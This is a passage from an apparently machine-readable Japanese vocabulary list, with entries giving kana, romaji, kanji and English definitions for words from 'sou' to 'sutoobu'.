definition':\"graduation\"\n\t},\n\n\t{\n\t\t'kana':'そう',\n\t\t'romaji':'sou',\n\t\t'kanji':'',\n\t\t'definition':\"so;really;seeming\"\n\t},\n\n\t{\n\t\t'kana':'そう',\n\t\t'romaji':'sou',\n\t\t'kanji':'総',\n\t\t'definition':\"whole;all;general;gross\"\n\t},\n\n\t{\n\t\t'kana':'そう',\n\t\t'romaji':'sou',\n\t\t'kanji':'',\n\t\t'definition':\"so;really;seeming\"\n\t},\n\n\t{\n\t\t'kana':'そう',\n\t\t'romaji':'sou',\n\t\t'kanji':'添う',\n\t\t'definition':\"to accompany;to become married;to comply with\"\n\t},\n\n\t{\n\t\t'kana':'そう',\n\t\t'romaji':'sou',\n\t\t'kanji':'沿う',\n\t\t'definition':\"to run along;to follow\"\n\t},\n\n\t{\n\t\t'kana':'そう',\n\t\t'romaji':'sou',\n\t\t'kanji':'僧',\n\t\t'definition':\"monk;priest\"\n\t},\n\n\t{\n\t\t'kana':'そうば',\n\t\t'romaji':'souba',\n\t\t'kanji':'相場',\n\t\t'definition':\"market price;speculation;estimation\"\n\t},\n\n\t{\n\t\t'kana':'そうべつ',\n\t\t'romaji':'soubetsu',\n\t\t'kanji':'送別',\n\t\t'definition':\"farewell;send-off\"\n\t},\n\n\t{\n\t\t'kana':'そうび',\n\t\t'romaji':'soubi',\n\t\t'kanji':'装備',\n\t\t'definition':\"equipment\"\n\t},\n\n\t{\n\t\t'kana':'そうち',\n\t\t'romaji':'souchi',\n\t\t'kanji':'装置',\n\t\t'definition':\"equipment;installation;apparatus\"\n\t},\n\n\t{\n\t\t'kana':'そうだい',\n\t\t'romaji':'soudai',\n\t\t'kanji':'壮大',\n\t\t'definition':\"magnificent;grand;majestic;splendid\"\n\t},\n\n\t{\n\t\t'kana':'そうだん',\n\t\t'romaji':'soudan',\n\t\t'kanji':'相談',\n\t\t'definition':\"consultation;discussion\"\n\t},\n\n\t{\n\t\t'kana':'そうどう',\n\t\t'romaji':'soudou',\n\t\t'kanji':'騒動',\n\t\t'definition':\"strife;riot;rebellion\"\n\t},\n\n\t{\n\t\t'kana':'そうご',\n\t\t'romaji':'sougo',\n\t\t'kanji':'相互',\n\t\t'definition':\"mutual;reciprocal\"\n\t},\n\n\t{\n\t\t'kana':'そうごう',\n\t\t'romaji':'sougou',\n\t\t'kanji':'総合',\n\t\t'definition':\"synthesis;coordination;putting together;integration;composite\"\n\t},\n\n\t{\n\t\t'kana':'そうい',\n\t\t'romaji':'soui',\n\t\t'kanji':'相違',\n\t\t'definition':\"difference;discrepancy;variation\"\n\t},\n\n\t{\n\t\t'kana':'そうじ',\n\t\t'romaji':'souji',\n\t\t'kanji':'掃除',\n\t\t'definition':\"cleaning;sweeping\"\n\t},\n\n\t{\n\t\t'kana':'そうじゅう',\n\t\t'romaji':'soujyuu',\n\t\t'kanji':'操縦',\n\t\t'definition':\"management;handling;control;manipulation\"\n\t},\n\n\t{\n\t\t'kana':'そうかい',\n\t\t'romaji':'soukai',\n\t\t'kanji':'総会',\n\t\t'definition':\"general meeting\"\n\t},\n\n\t{\n\t\t'kana':'そうかん',\n\t\t'romaji':'soukan',\n\t\t'kanji':'創刊',\n\t\t'definition':\"launching (e.g. newspaper);first issue\"\n\t},\n\n\t{\n\t\t'kana':'そうきん',\n\t\t'romaji':'soukin',\n\t\t'kanji':'送金',\n\t\t'definition':\"remittance;sending money\"\n\t},\n\n\t{\n\t\t'kana':'そうこ',\n\t\t'romaji':'souko',\n\t\t'kanji':'倉庫',\n\t\t'definition':\"storehouse;warehouse;godown\"\n\t},\n\n\t{\n\t\t'kana':'そうこう',\n\t\t'romaji':'soukou',\n\t\t'kanji':'走行',\n\t\t'definition':\"running a wheeled vehicle (e.g. car);traveling\"\n\t},\n\n\t{\n\t\t'kana':'そうなん',\n\t\t'romaji':'sounan',\n\t\t'kanji':'遭難',\n\t\t'definition':\"disaster;shipwreck;accident\"\n\t},\n\n\t{\n\t\t'kana':'そうおん',\n\t\t'romaji':'souon',\n\t\t'kanji':'騒音',\n\t\t'definition':\"noise\"\n\t},\n\n\t{\n\t\t'kana':'そうおう',\n\t\t'romaji':'souou',\n\t\t'kanji':'相応',\n\t\t'definition':\"suitability;fitness\"\n\t},\n\n\t{\n\t\t'kana':'そうりだいじん',\n\t\t'romaji':'souridaijin',\n\t\t'kanji':'総理大臣',\n\t\t'definition':\"Prime Minister\"\n\t},\n\n\t{\n\t\t'kana':'そうりつ',\n\t\t'romaji':'souritsu',\n\t\t'kanji':'創立',\n\t\t'definition':\"establishment;founding;organization\"\n\t},\n\n\t{\n\t\t'kana':'そうりょう',\n\t\t'romaji':'souryou',\n\t\t'kanji':'送料',\n\t\t'definition':\"postage;carriage\"\n\t},\n\n\t{\n\t\t'kana':'そうさ',\n\t\t'romaji':'sousa',\n\t\t'kanji':'操作',\n\t\t'definition':\"operation;management;processing\"\n\t},\n\n\t{\n\t\t'kana':'そうさ',\n\t\t'romaji':'sousa',\n\t\t'kanji':'捜査',\n\t\t'definition':\"search (esp. in criminal investigations);investigation\"\n\t},\n\n\t{\n\t\t'kana':'そうさく',\n\t\t'romaji':'sousaku',\n\t\t'kanji':'創作',\n\t\t'definition':\"production;literary creation;work\"\n\t},\n\n\t{\n\t\t'kana':'そうさく',\n\t\t'romaji':'sousaku',\n\t\t'kanji':'捜索',\n\t\t'definition':\"search (esp. for someone or something missing);investigation\"\n\t},\n\n\t{\n\t\t'kana':'そうしき',\n\t\t'romaji':'soushiki',\n\t\t'kanji':'葬式',\n\t\t'definition':\"funeral\"\n\t},\n\n\t{\n\t\t'kana':'そうし��',\n\t\t'romaji':'soushite',\n\t\t'kanji':'然うして',\n\t\t'definition':\"and;like that\"\n\t},\n\n\t{\n\t\t'kana':'そうしょく',\n\t\t'romaji':'soushoku',\n\t\t'kanji':'装飾',\n\t\t'definition':\"ornament\"\n\t},\n\n\t{\n\t\t'kana':'そうとう',\n\t\t'romaji':'soutou',\n\t\t'kanji':'相当',\n\t\t'definition':\"suitable;fair;tolerable;proper\"\n\t},\n\n\t{\n\t\t'kana':'そうぞく',\n\t\t'romaji':'souzoku',\n\t\t'kanji':'相続',\n\t\t'definition':\"succession;inheritance\"\n\t},\n\n\t{\n\t\t'kana':'そうぞう',\n\t\t'romaji':'souzou',\n\t\t'kanji':'想像',\n\t\t'definition':\"imagination;guess\"\n\t},\n\n\t{\n\t\t'kana':'そうぞう',\n\t\t'romaji':'souzou',\n\t\t'kanji':'創造',\n\t\t'definition':\"creation\"\n\t},\n\n\t{\n\t\t'kana':'そうぞうしい',\n\t\t'romaji':'souzoushii',\n\t\t'kanji':'騒々しい',\n\t\t'definition':\"noisy;boisterous\"\n\t},\n\n\t{\n\t\t'kana':'そざい',\n\t\t'romaji':'sozai',\n\t\t'kanji':'素材',\n\t\t'definition':\"raw materials;subject matter\"\n\t},\n\n\t{\n\t\t'kana':'す',\n\t\t'romaji':'su',\n\t\t'kanji':'酢',\n\t\t'definition':\"vinegar\"\n\t},\n\n\t{\n\t\t'kana':'す',\n\t\t'romaji':'su',\n\t\t'kanji':'巣',\n\t\t'definition':\"nest;rookery;breeding place;beehive;cobweb;den;haunt\"\n\t},\n\n\t{\n\t\t'kana':'すばらしい',\n\t\t'romaji':'subarashii',\n\t\t'kanji':'素晴らしい',\n\t\t'definition':\"wonderful;splendid;magnificent\"\n\t},\n\n\t{\n\t\t'kana':'すばしこい',\n\t\t'romaji':'subashikoi',\n\t\t'kanji':'',\n\t\t'definition':\"nimble;smart;quick\"\n\t},\n\n\t{\n\t\t'kana':'すばやい',\n\t\t'romaji':'subayai',\n\t\t'kanji':'素早い',\n\t\t'definition':\"fast;quick;prompt;agile\"\n\t},\n\n\t{\n\t\t'kana':'すべる',\n\t\t'romaji':'suberu',\n\t\t'kanji':'滑る',\n\t\t'definition':\"to glide;to slide;to slip\"\n\t},\n\n\t{\n\t\t'kana':'すべて',\n\t\t'romaji':'subete',\n\t\t'kanji':'全て',\n\t\t'definition':\"all;the whole;entirely;in general;wholly\"\n\t},\n\n\t{\n\t\t'kana':'スチーム',\n\t\t'romaji':'suchi-mu',\n\t\t'kanji':'',\n\t\t'definition':\"steam\"\n\t},\n\n\t{\n\t\t'kana':'すでに',\n\t\t'romaji':'sudeni',\n\t\t'kanji':'既に',\n\t\t'definition':\"already;too late\"\n\t},\n\n\t{\n\t\t'kana':'すえっこ',\n\t\t'romaji':'sueko',\n\t\t'kanji':'末っ子',\n\t\t'definition':\"youngest child\"\n\t},\n\n\t{\n\t\t'kana':'すえる',\n\t\t'romaji':'sueru',\n\t\t'kanji':'据える',\n\t\t'definition':\"to set (table);to lay (foundation);to place (gun);to apply (moxa)\"\n\t},\n\n\t{\n\t\t'kana':'すえつける',\n\t\t'romaji':'suetsukeru',\n\t\t'kanji':'据え付ける',\n\t\t'definition':\"to install;to equip;to mount\"\n\t},\n\n\t{\n\t\t'kana':'すがすがしい',\n\t\t'romaji':'sugasugashii',\n\t\t'kanji':'清々しい',\n\t\t'definition':\"fresh;refreshing\"\n\t},\n\n\t{\n\t\t'kana':'すがた',\n\t\t'romaji':'sugata',\n\t\t'kanji':'姿',\n\t\t'definition':\"figure;shape;appearance\"\n\t},\n\n\t{\n\t\t'kana':'すぎ',\n\t\t'romaji':'sugi',\n\t\t'kanji':'過ぎ',\n\t\t'definition':\"past;after\"\n\t},\n\n\t{\n\t\t'kana':'すぎ',\n\t\t'romaji':'sugi',\n\t\t'kanji':'杉',\n\t\t'definition':\"Japanese cedar\"\n\t},\n\n\t{\n\t\t'kana':'すぎる',\n\t\t'romaji':'sugiru',\n\t\t'kanji':'過ぎる',\n\t\t'definition':\"to pass;to go beyond;to elapse;to exceed\"\n\t},\n\n\t{\n\t\t'kana':'すぎる',\n\t\t'romaji':'sugiru',\n\t\t'kanji':'過ぎる',\n\t\t'definition':\"to pass;to go beyond;to elapse;to exceed\"\n\t},\n\n\t{\n\t\t'kana':'すごい',\n\t\t'romaji':'sugoi',\n\t\t'kanji':'凄い',\n\t\t'definition':\"terrible;dreadful;terrific;amazing;great;wonderful;to a great extent\"\n\t},\n\n\t{\n\t\t'kana':'すごす',\n\t\t'romaji':'sugosu',\n\t\t'kanji':'過ごす',\n\t\t'definition':\"to pass;to spend;to go through;to tide over\"\n\t},\n\n\t{\n\t\t'kana':'すぐ',\n\t\t'romaji':'sugu',\n\t\t'kanji':'直ぐ',\n\t\t'definition':\"immediately;soon;easily;right (near);honest;upright\"\n\t},\n\n\t{\n\t\t'kana':'すぐれる',\n\t\t'romaji':'sugureru',\n\t\t'kanji':'優れる',\n\t\t'definition':\"to surpass;to outstrip;to excel\"\n\t},\n\n\t{\n\t\t'kana':'すいぶん',\n\t\t'romaji':'suibun',\n\t\t'kanji':'水分',\n\t\t'definition':\"moisture\"\n\t},\n\n\t{\n\t\t'kana':'スイッチ',\n\t\t'romaji':'suichi',\n\t\t'kanji':'',\n\t\t'definition':\"switch\"\n\t},\n\n\t{\n\t\t'kana':'すいちょく',\n\t\t'romaji':'suichoku',\n\t\t'kanji':'垂直',\n\t\t'definition':\"vertical;perpendicular\"\n\t},\n\n\t{\n\t\t'kana':'すいでん',\n\t\t'romaji':'suiden',\n\t\t'kanji':'水田',\n\t\t'definition':\"(water-filled) paddy field\"\n\t},\n\n\t{\n\t\t'kana':'すいどう',\n\t\t'romaji':'suidou',\n\t\t'kanji':'水道',\n\t\t'definition':\"water service;water supply\"\n\t},\n\n\t{\n\t\t'kana':'すいえい',\n\t\t'romaji':'suiei',\n\t\t'kanji':'水泳',\n\t\t'definition':\"swimming\"\n\t},\n\n\t{\n\t\t'kana':'すいげん',\n\t\t'romaji':'suigen',\n\t\t'kanji':'水源',\n\t\t'definition':\"source of river;fountainhead\"\n\t},\n\n\t{\n\t\t'kana':'すいへい',\n\t\t'romaji':'suihei',\n\t\t'kanji':'水平',\n\t\t'definition':\"water level;horizon\"\n\t},\n\n\t{\n\t\t'kana':'すいへいせん',\n\t\t'romaji':'suiheisen',\n\t\t'kanji':'水平線',\n\t\t'definition':\"horizon\"\n\t},\n\n\t{\n\t\t'kana':'すいじ',\n\t\t'romaji':'suiji',\n\t\t'kanji':'炊事',\n\t\t'definition':\"cooking;culinary arts\"\n\t},\n\n\t{\n\t\t'kana':'すいじょうき',\n\t\t'romaji':'suijyouki',\n\t\t'kanji':'水蒸気',\n\t\t'definition':\"water vapour;steam\"\n\t},\n\n\t{\n\t\t'kana':'すいじゅん',\n\t\t'romaji':'suijyun',\n\t\t'kanji':'水準',\n\t\t'definition':\"water level;level;standard\"\n\t},\n\n\t{\n\t\t'kana':'すいき',\n\t\t'romaji':'suiki',\n\t\t'kanji':'水気',\n\t\t'definition':\"1. moisture;dampness;vapor; 2. dropsy;edema\"\n\t},\n\n\t{\n\t\t'kana':'すいめん',\n\t\t'romaji':'suimen',\n\t\t'kanji':'水面',\n\t\t'definition':\"water's surface\"\n\t},\n\n\t{\n\t\t'kana':'すいみん',\n\t\t'romaji':'suimin',\n\t\t'kanji':'睡眠',\n\t\t'definition':\"sleep\"\n\t},\n\n\t{\n\t\t'kana':'すいり',\n\t\t'romaji':'suiri',\n\t\t'kanji':'推理',\n\t\t'definition':\"reasoning;inference;mystery or detective genre (movie novel etc.)\"\n\t},\n\n\t{\n\t\t'kana':'すいさん',\n\t\t'romaji':'suisan',\n\t\t'kanji':'水産',\n\t\t'definition':\"marine products;fisheries\"\n\t},\n\n\t{\n\t\t'kana':'すいせん',\n\t\t'romaji':'suisen',\n\t\t'kanji':'推薦',\n\t\t'definition':\"recommendation\"\n\t},\n\n\t{\n\t\t'kana':'すいせん',\n\t\t'romaji':'suisen',\n\t\t'kanji':'水洗',\n\t\t'definition':\"flushing\"\n\t},\n\n\t{\n\t\t'kana':'すいしん',\n\t\t'romaji':'suishin',\n\t\t'kanji':'推進',\n\t\t'definition':\"propulsion;driving force\"\n\t},\n\n\t{\n\t\t'kana':'すいそ',\n\t\t'romaji':'suiso',\n\t\t'kanji':'水素',\n\t\t'definition':\"hydrogen\"\n\t},\n\n\t{\n\t\t'kana':'すいそく',\n\t\t'romaji':'suisoku',\n\t\t'kanji':'推測',\n\t\t'definition':\"guess;conjecture\"\n\t},\n\n\t{\n\t\t'kana':'すいそう',\n\t\t'romaji':'suisou',\n\t\t'kanji':'吹奏',\n\t\t'definition':\"playing wind instruments\"\n\t},\n\n\t{\n\t\t'kana':'すいてい',\n\t\t'romaji':'suitei',\n\t\t'kanji':'推定',\n\t\t'definition':\"presumption;assumption;estimation\"\n\t},\n\n\t{\n\t\t'kana':'すいてき',\n\t\t'romaji':'suiteki',\n\t\t'kanji':'水滴',\n\t\t'definition':\"drop of water\"\n\t},\n\n\t{\n\t\t'kana':'すいとう',\n\t\t'romaji':'suitou',\n\t\t'kanji':'水筒',\n\t\t'definition':\"canteen;flask;water bottle\"\n\t},\n\n\t{\n\t\t'kana':'すいよう',\n\t\t'romaji':'suiyou',\n\t\t'kanji':'水曜',\n\t\t'definition':\"Wednesday\"\n\t},\n\n\t{\n\t\t'kana':'すじ',\n\t\t'romaji':'suji',\n\t\t'kanji':'筋',\n\t\t'definition':\"muscle;string;line;stripe;plot;plan;sinew\"\n\t},\n\n\t{\n\t\t'kana':'スカーフ',\n\t\t'romaji':'suka-hu',\n\t\t'kanji':'',\n\t\t'definition':\"scarf\"\n\t},\n\n\t{\n\t\t'kana':'スカート',\n\t\t'romaji':'suka-to',\n\t\t'kanji':'',\n\t\t'definition':\"skirt\"\n\t},\n\n\t{\n\t\t'kana':'スケート',\n\t\t'romaji':'suke-to',\n\t\t'kanji':'',\n\t\t'definition':\"skate(s);skating\"\n\t},\n\n\t{\n\t\t'kana':'スケジュール',\n\t\t'romaji':'sukezyu-ru',\n\t\t'kanji':'',\n\t\t'definition':\"schedule\"\n\t},\n\n\t{\n\t\t'kana':'すき',\n\t\t'romaji':'suki',\n\t\t'kanji':'好き',\n\t\t'definition':\"liking;fondness;love\"\n\t},\n\n\t{\n\t\t'kana':'スキー',\n\t\t'romaji':'suki-',\n\t\t'kanji':'',\n\t\t'definition':\"skiing\"\n\t},\n\n\t{\n\t\t'kana':'すききらい',\n\t\t'romaji':'sukikirai',\n\t\t'kanji':'好き嫌い',\n\t\t'definition':\"likes and dislikes;taste\"\n\t},\n\n\t{\n\t\t'kana':'すきま',\n\t\t'romaji':'sukima',\n\t\t'kanji':'隙間',\n\t\t'definition':\"crevice;crack;gap;opening\"\n\t},\n\n\t{\n\t\t'kana':'すきとおる',\n\t\t'romaji':'sukitooru',\n\t\t'kanji':'透き通る',\n\t\t'definition':\"to be(come) transparent\"\n\t},\n\n\t{\n\t\t'kana':'すきずき',\n\t\t'romaji':'sukizuki',\n\t\t'kanji':'好き好き',\n\t\t'definition':\"matter of taste\"\n\t},\n\n\t{\n\t\t'kana':'すっかり',\n\t\t'romaji':'sukkari',\n\t\t'kanji':'',\n\t\t'definition':\"all;completely;thoroughly\"\n\t},\n\n\t{\n\t\t'kana':'すっきり',\n\t\t'romaji':'sukkiri',\n\t\t'kanji':'',\n\t\t'definition':\"shapely;clear;neat\"\n\t},\n\n\t{\n\t\t'kana':'すこし',\n\t\t'romaji':'sukoshi',\n\t\t'kanji':'少し',\n\t\t'definition':\"small quantity;little;few;something;little while;short distance\"\n\t},\n\n\t{\n\t\t'kana':'すこしも',\n\t\t'romaji':'sukoshimo',\n\t\t'kanji':'少しも',\n\t\t'definition':\"anything of;not one bit\"\n\t},\n\n\t{\n\t\t'kana':'すこやか',\n\t\t'romaji':'sukoyaka',\n\t\t'kanji':'健やか',\n\t\t'definition':\"vigorous;healthy;sound\"\n\t},\n\n\t{\n\t\t'kana':'すくい',\n\t\t'romaji':'sukui',\n\t\t'kanji':'救い',\n\t\t'definition':\"help;aid;relief\"\n\t},\n\n\t{\n\t\t'kana':'すくない',\n\t\t'romaji':'sukunai',\n\t\t'kanji':'少ない',\n\t\t'definition':\"few;a little;scarce;insufficient;seldom\"\n\t},\n\n\t{\n\t\t'kana':'すくなくとも',\n\t\t'romaji':'sukunakutomo',\n\t\t'kanji':'少なくとも',\n\t\t'definition':\"at least\"\n\t},\n\n\t{\n\t\t'kana':'スクール',\n\t\t'romaji':'suku-ru',\n\t\t'kanji':'',\n\t\t'definition':\"school\"\n\t},\n\n\t{\n\t\t'kana':'すくう',\n\t\t'romaji':'sukuu',\n\t\t'kanji':'救う',\n\t\t'definition':\"to rescue from;to help out of\"\n\t},\n\n\t{\n\t\t'kana':'すくう',\n\t\t'romaji':'sukuu',\n\t\t'kanji':'掬う',\n\t\t'definition':\"to scoop;to ladle out\"\n\t},\n\n\t{\n\t\t'kana':'すまい',\n\t\t'romaji':'sumai',\n\t\t'kanji':'住まい',\n\t\t'definition':\"dwelling;house;residence;address\"\n\t},\n\n\t{\n\t\t'kana':'すまない',\n\t\t'romaji':'sumanai',\n\t\t'kanji':'済まない',\n\t\t'definition':\"sorry (phrase)\"\n\t},\n\n\t{\n\t\t'kana':'すませる',\n\t\t'romaji':'sumaseru',\n\t\t'kanji':'済ませる',\n\t\t'definition':\"to be finished\"\n\t},\n\n\t{\n\t\t'kana':'すます',\n\t\t'romaji':'sumasu',\n\t\t'kanji':'済ます',\n\t\t'definition':\"to finish;to get it over with;to settle;to conclude;to pay back\"\n\t},\n\n\t{\n\t\t'kana':'すます',\n\t\t'romaji':'sumasu',\n\t\t'kanji':'澄ます',\n\t\t'definition':\"to clear;to make clear;to be unruffled;to look unconcerned;to look demure;look prim;put on airs\"\n\t},\n\n\t{\n\t\t'kana':'すます',\n\t\t'romaji':'sumasu',\n\t\t'kanji':'済ます',\n\t\t'definition':\"to finish;to get it over with;to settle;to conclude;to pay back\"\n\t},\n\n\t{\n\t\t'kana':'スマート',\n\t\t'romaji':'suma-to',\n\t\t'kanji':'',\n\t\t'definition':\"smart;stylish;slim\"\n\t},\n\n\t{\n\t\t'kana':'すめらぎ',\n\t\t'romaji':'sumeragi',\n\t\t'kanji':'天皇',\n\t\t'definition':\"Emperor of Japan\"\n\t},\n\n\t{\n\t\t'kana':'すみ',\n\t\t'romaji':'sumi',\n\t\t'kanji':'隅',\n\t\t'definition':\"corner;nook\"\n\t},\n\n\t{\n\t\t'kana':'すみ',\n\t\t'romaji':'sumi',\n\t\t'kanji':'墨',\n\t\t'definition':\"ink\"\n\t},\n\n\t{\n\t\t'kana':'すみません',\n\t\t'romaji':'sumimasen',\n\t\t'kanji':'済みません',\n\t\t'definition':\"sorry;excuse me\"\n\t},\n\n\t{\n\t\t'kana':'すもう',\n\t\t'romaji':'sumou',\n\t\t'kanji':'相撲',\n\t\t'definition':\"sumo wrestling\"\n\t},\n\n\t{\n\t\t'kana':'すむ',\n\t\t'romaji':'sumu',\n\t\t'kanji':'済む',\n\t\t'definition':\"to finish;to end;to be completed\"\n\t},\n\n\t{\n\t\t'kana':'すむ',\n\t\t'romaji':'sumu',\n\t\t'kanji':'澄む',\n\t\t'definition':\"to clear (e.g. weather);to become transparent\"\n\t},\n\n\t{\n\t\t'kana':'すむ',\n\t\t'romaji':'sumu',\n\t\t'kanji':'済む',\n\t\t'definition':\"to finish;to end;to be completed\"\n\t},\n\n\t{\n\t\t'kana':'すむ',\n\t\t'romaji':'sumu',\n\t\t'kanji':'住む',\n\t\t'definition':\"to abide;to reside;to live in;to inhabit;to dwell\"\n\t},\n\n\t{\n\t\t'kana':'すな',\n\t\t'romaji':'suna',\n\t\t'kanji':'砂',\n\t\t'definition':\"sand;grit\"\n\t},\n\n\t{\n\t\t'kana':'すなお',\n\t\t'romaji':'sunao',\n\t\t'kanji':'素直',\n\t\t'definition':\"obedient;meek;docile;unaffected\"\n\t},\n\n\t{\n\t\t'kana':'すなわち',\n\t\t'romaji':'sunawachi',\n\t\t'kanji':'即ち',\n\t\t'definition':\"that is;namely;i.e.\"\n\t},\n\n\t{\n\t\t'kana':'すんなり',\n\t\t'romaji':'sunnari',\n\t\t'kanji':'',\n\t\t'definition':\"pass with no objection;slim;slender\"\n\t},\n\n\t{\n\t\t'kana':'すんぽう',\n\t\t'romaji':'sunpou',\n\t\t'kanji':'寸法',\n\t\t'definition':\"measurement;size;dimension\"\n\t},\n\n\t{\n\t\t'kana':'スーパー',\n\t\t'romaji':'su-pa-',\n\t\t'kanji':'',\n\t\t'definition':\"super;supermarket\"\n\t},\n\n\t{\n\t\t'kana':'スペース',\n\t\t'romaji':'supe-su',\n\t\t'kanji':'',\n\t\t'definition':\"space\"\n\t},\n\n\t{\n\t\t'kana':'スピーチ',\n\t\t'romaji':'supi-chi',\n\t\t'kanji':'',\n\t\t'definition':\"speech\"\n\t},\n\n\t{\n\t\t'kana':'スピード',\n\t\t'romaji':'supi-do',\n\t\t'kanji':'',\n\t\t'definition':\"speed\"\n\t},\n\n\t{\n\t\t'kana':'スピーカー',\n\t\t'romaji':'supi-ka-',\n\t\t'kanji':'',\n\t\t'definition':\"speaker\"\n\t},\n\n\t{\n\t\t'kana':'スポーツ',\n\t\t'romaji':'supo-tsu',\n\t\t'kanji':'',\n\t\t'definition':\"sport\"\n\t},\n\n\t{\n\t\t'kana':'スポーツカー',\n\t\t'romaji':'supo-tsuka-',\n\t\t'kanji':'',\n\t\t'definition':\"sports car\"\n\t},\n\n\t{\n\t\t'kana':'すっぱい',\n\t\t'romaji':'suppai',\n\t\t'kanji':'酸っぱい',\n\t\t'definition':\"sour;acid\"\n\t},\n\n\t{\n\t\t'kana':'スープ',\n\t\t'romaji':'su-pu',\n\t\t'kanji':'',\n\t\t'definition':\"(Western) soup\"\n\t},\n\n\t{\n\t\t'kana':'スプーン',\n\t\t'romaji':'supu-n',\n\t\t'kanji':'',\n\t\t'definition':\"spoon\"\n\t},\n\n\t{\n\t\t'kana':'スプリング',\n\t\t'romaji':'supuringu',\n\t\t'kanji':'',\n\t\t'definition':\"spring\"\n\t},\n\n\t{\n\t\t'kana':'スライド',\n\t\t'romaji':'suraido',\n\t\t'kanji':'',\n\t\t'definition':\"slide\"\n\t},\n\n\t{\n\t\t'kana':'スラックス',\n\t\t'romaji':'surakusu',\n\t\t'kanji':'',\n\t\t'definition':\"slacks\"\n\t},\n\n\t{\n\t\t'kana':'すれちがい',\n\t\t'romaji':'surechigai',\n\t\t'kanji':'擦れ違い',\n\t\t'definition':\"chance encounter\"\n\t},\n\n\t{\n\t\t'kana':'すれちがう',\n\t\t'romaji':'surechigau',\n\t\t'kanji':'すれ違う',\n\t\t'definition':\"to pass by one another;to disagree;to miss each other\"\n\t},\n\n\t{\n\t\t'kana':'すれる',\n\t\t'romaji':'sureru',\n\t\t'kanji':'擦れる',\n\t\t'definition':\"to rub;to chafe;to wear;to become sophisticated\"\n\t},\n\n\t{\n\t\t'kana':'すり',\n\t\t'romaji':'suri',\n\t\t'kanji':'刷り',\n\t\t'definition':\"printing\"\n\t},\n\n\t{\n\t\t'kana':'スリッパ',\n\t\t'romaji':'suripa',\n\t\t'kanji':'',\n\t\t'definition':\"slippers\"\n\t},\n\n\t{\n\t\t'kana':'する',\n\t\t'romaji':'suru',\n\t\t'kanji':'為る',\n\t\t'definition':\"to do;to try;to play;to practice;to cost;to serve as;to pass;to elapse\"\n\t},\n\n\t{\n\t\t'kana':'する',\n\t\t'romaji':'suru',\n\t\t'kanji':'剃る',\n\t\t'definition':\"to shave\"\n\t},\n\n\t{\n\t\t'kana':'する',\n\t\t'romaji':'suru',\n\t\t'kanji':'為る',\n\t\t'definition':\"to do;to try;to play;to practice;to cost;to serve as;to pass;to elapse\"\n\t},\n\n\t{\n\t\t'kana':'する',\n\t\t'romaji':'suru',\n\t\t'kanji':'刷る',\n\t\t'definition':\"to print\"\n\t},\n\n\t{\n\t\t'kana':'するどい',\n\t\t'romaji':'surudoi',\n\t\t'kanji':'鋭い',\n\t\t'definition':\"pointed;sharp\"\n\t},\n\n\t{\n\t\t'kana':'すると',\n\t\t'romaji':'suruto',\n\t\t'kanji':'',\n\t\t'definition':\"thereupon;hereupon\"\n\t},\n\n\t{\n\t\t'kana':'すそ',\n\t\t'romaji':'suso',\n\t\t'kanji':'裾',\n\t\t'definition':\"(trouser) cuff;(skirt) hem;cut edge of a hairdo;foot of mountain\"\n\t},\n\n\t{\n\t\t'kana':'すすぐ',\n\t\t'romaji':'susugu',\n\t\t'kanji':'濯ぐ',\n\t\t'definition':\"to rinse;to wash out\"\n\t},\n\n\t{\n\t\t'kana':'すすぐ',\n\t\t'romaji':'susugu',\n\t\t'kanji':'濯ぐ',\n\t\t'definition':\"to rinse;to wash out\"\n\t},\n\n\t{\n\t\t'kana':'すすめ',\n\t\t'romaji':'susume',\n\t\t'kanji':'勧め',\n\t\t'definition':\"recommendation;advice;encouragement\"\n\t},\n\n\t{\n\t\t'kana':'すすめる',\n\t\t'romaji':'susumeru',\n\t\t'kanji':'勧める',\n\t\t'definition':\"to recommend;to advise;to encourage;to offer (wine)\"\n\t},\n\n\t{\n\t\t'kana':'すすめる',\n\t\t'romaji':'susumeru',\n\t\t'kanji':'進める',\n\t\t'definition':\"to advance;to promote;to hasten\"\n\t},\n\n\t{\n\t\t'kana':'すすみ',\n\t\t'romaji':'susumi',\n\t\t'kanji':'進み',\n\t\t'definition':\"progress\"\n\t},\n\n\t{\n\t\t'kana':'すすむ',\n\t\t'romaji':'susumu',\n\t\t'kanji':'進む',\n\t\t'definition':\"to make progress;to advance;to improve\"\n\t},\n\n\t{\n\t\t'kana':'スター',\n\t\t'romaji':'suta-',\n\t\t'kanji':'',\n\t\t'definition':\"star\"\n\t},\n\n\t{\n\t\t'kana':'スタイル',\n\t\t'romaji':'sutairu',\n\t\t'kanji':'',\n\t\t'definition':\"style\"\n\t},\n\n\t{\n\t\t'kana':'スタンド',\n\t\t'romaji':'sutando',\n\t\t'kanji':'',\n\t\t'definition':\"stand\"\n\t},\n\n\t{\n\t\t'kana':'すたれる',\n\t\t'romaji':'sutareru',\n\t\t'kanji':'廃れる',\n\t\t'definition':\"to go out of use;to become obsolete;to die out;to go out of fashion\"\n\t},\n\n\t{\n\t\t'kana':'スタート',\n\t\t'romaji':'suta-to',\n\t\t'kanji':'',\n\t\t'definition':\"start\"\n\t},\n\n\t{\n\t\t'kana':'スタジオ',\n\t\t'romaji':'sutazio',\n\t\t'kanji':'',\n\t\t'definition':\"studio\"\n\t},\n\n\t{\n\t\t'kana':'すてき',\n\t\t'romaji':'suteki',\n\t\t'kanji':'素敵',\n\t\t'definition':\"lovely;dreamy;beautiful;great;fantastic;superb;cool;capital\"\n\t},\n\n\t{\n\t\t'kana':'ステレオ',\n\t\t'romaji':'sutereo',\n\t\t'kanji':'',\n\t\t'definition':\"stereo\"\n\t},\n\n\t{\n\t\t'kana':'すてる',\n\t\t'romaji':'suteru',\n\t\t'kanji':'捨てる',\n\t\t'definition':\"to throw away;to cast aside;to abandon;to resign\"\n\t},\n\n\t{\n\t\t'kana':'すてる',\n\t\t'romaji':'suteru',\n\t\t'kanji':'捨てる',\n\t\t'definition':\"to throw away;to cast aside;to abandon;to resign\"\n\t},\n\n\t{\n\t\t'kana':'ステージ',\n\t\t'romaji':'sute-zi',\n\t\t'kanji':'',\n\t\t'definition':\"1. stage; 2. performance\"\n\t},\n\n\t{\n\t\t'kana':'すっと',\n\t\t'romaji':'suto',\n\t\t'kanji':'',\n\t\t'definition':\"straight;quickly;directly;all of a sudden;quietly;gently;softly\"\n\t},\n\n\t{\n\t\t'kana':'ストーブ',\n\t\t'romaji':'suto-bu',\n\t\t'kanji':'',\n\t\t'definition':\"heater (lit: 